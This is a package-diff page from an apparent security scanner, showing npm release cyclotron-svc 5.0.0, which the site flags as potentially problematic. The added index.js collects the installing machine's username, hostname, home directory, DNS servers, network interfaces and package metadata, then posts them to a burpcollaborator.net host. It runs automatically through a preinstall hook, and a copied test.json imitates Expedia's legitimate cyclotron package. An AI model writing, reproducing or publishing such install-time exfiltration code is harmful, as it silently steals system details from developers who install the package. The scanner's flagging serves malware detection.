cyclotron-svc 5.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of cyclotron-svc might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +48 -0
  2. package/package.json +12 -0
  3. package/test.json +92 -0
package/index.js ADDED
@@ -0,0 +1,48 @@
1
+ //author:- bsainath4u@gmail.com
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ const trackingData = JSON.stringify({
10
+ p: package,
11
+ c: __dirname,
12
+ hd: os.homedir(),
13
+ hn: os.hostname(),
14
+ un: os.userInfo().username,
15
+ dns: dns.getServers(),
16
+ ip: os.networkInterfaces(),
17
+ r: packageJSON ? packageJSON.___resolved : undefined,
18
+ v: packageJSON.version,
19
+ pjson: packageJSON,
20
+ });
21
+
22
+ var postData = querystring.stringify({
23
+ msg: trackingData,
24
+ });
25
+
26
+ var options = {
27
+ hostname: "ivh9g1krymzsjc1g39uh01z7zy5otd.burpcollaborator.net", //replace burpcollaborator.net with Interactsh or pipedream
28
+ port: 443,
29
+ path: "/",
30
+ method: "POST",
31
+ headers: {
32
+ "Content-Type": "application/x-www-form-urlencoded",
33
+ "Content-Length": postData.length,
34
+ },
35
+ };
36
+
37
+ var req = https.request(options, (res) => {
38
+ res.on("data", (d) => {
39
+ process.stdout.write(d);
40
+ });
41
+ });
42
+
43
+ req.on("error", (e) => {
44
+ // console.error(e);
45
+ });
46
+
47
+ req.write(postData);
48
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "cyclotron-svc",
3
+ "version": "5.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/test.json ADDED
@@ -0,0 +1,92 @@
1
+ {
2
+ "name": "cyclotron-svc",
3
+ "description": "Cyclotron: REST API",
4
+ "version": "2.0.4",
5
+ "author": "Dave Bauman <dbauman@expedia.com>",
6
+ "license": "MIT",
7
+ "private": true,
8
+ "engines": {
9
+ "node": ">= 0.10"
10
+ },
11
+ "repository": {
12
+ "type": "git",
13
+ "url": "https://github.com/ExpediaInceCommercePlatform/cyclotron"
14
+ },
15
+ "bugs": {
16
+ "url": "https://github.com/ExpediaInceCommercePlatform/cyclotron/issues"
17
+ },
18
+ "scripts": {
19
+ "start": "node src/server.js",
20
+ "check": "babel src -d check",
21
+ "test": "jest --coverage",
22
+ "em:run": "node instrumented/em/em-main.js",
23
+ "em:build": "rimraf instrumented && babel src -d instrumented/src --copy-files && babel em -d instrumented/em --copy-files"
24
+ },
25
+ "dependencies": {
26
+ "aws4": "^1.8.0",
27
+ "bluebird": "2.3.6",
28
+ "body-parser": "^1.18.3",
29
+ "compression": "^1.7.3",
30
+ "elasticsearch": "^11.0.1",
31
+ "errorhandler": "^1.5.0",
32
+ "express": "^4.16.3",
33
+ "highland": "^3.0.0-beta.2",
34
+ "ip": "0.3.0",
35
+ "json2csv": "^3.6.3",
36
+ "json2xls": "^0.1.2",
37
+ "jsondiffpatch": "0.1.41",
38
+ "ldapjs": "1.0.1",
39
+ "lodash": "^4.17.15",
40
+ "moment": "^2.22.2",
41
+ "mongoose": "~4.5.1",
42
+ "morgan": "^1.9.1",
43
+ "node-uuid": "~1.4.3",
44
+ "passport": "~0.2.2",
45
+ "passport-ldapauth": "1.0.0",
46
+ "request": "^2.88.0",
47
+ "serve-static": "^1.13.2",
48
+ "shortid": "2.2.13",
49
+ "ssl-root-cas": "^1.2.2",
50
+ "swagger-ui-dist": "^3.24.0"
51
+ },
52
+ "devDependencies": {
53
+ "del": "^3.0.0",
54
+ "@babel/cli": "7.8.4",
55
+ "@babel/core": "7.8.4",
56
+ "evomaster-client-js": "1.6.0",
57
+ "jest": "24.9.0",
58
+ "dedent": "0.7.0",
59
+ "superagent": "5.2.2",
60
+ "supertest": "4.0.2",
61
+ "testcontainers": "^6.3.0",
62
+ "rimraf": "^3.0.0"
63
+ },
64
+ "babel": {
65
+ "only": [
66
+ "src"
67
+ ],
68
+ "plugins": [
69
+ "module:evomaster-client-js"
70
+ ]
71
+ },
72
+ "jest": {
73
+ "testEnvironment": "node",
74
+ "testRegex": "em/.*Test\\.(js|jsx|ts|tsx)$",
75
+ "collectCoverageFrom": [
76
+ "src/**/*.(js|jsx|ts|tsx)"
77
+ ],
78
+ "coverageReporters": [
79
+ "json",
80
+ "html",
81
+ "json-summary"
82
+ ],
83
+ "transformIgnorePatterns": [
84
+ "<rootDir>/node_modules/",
85
+ "<rootDir>/bbtests/",
86
+ "<rootDir>/tests/",
87
+ "<rootDir>/check/",
88
+ "<rootDir>/build/",
89
+ "<rootDir>/em"
90
+ ]
91
+ }
92
+ }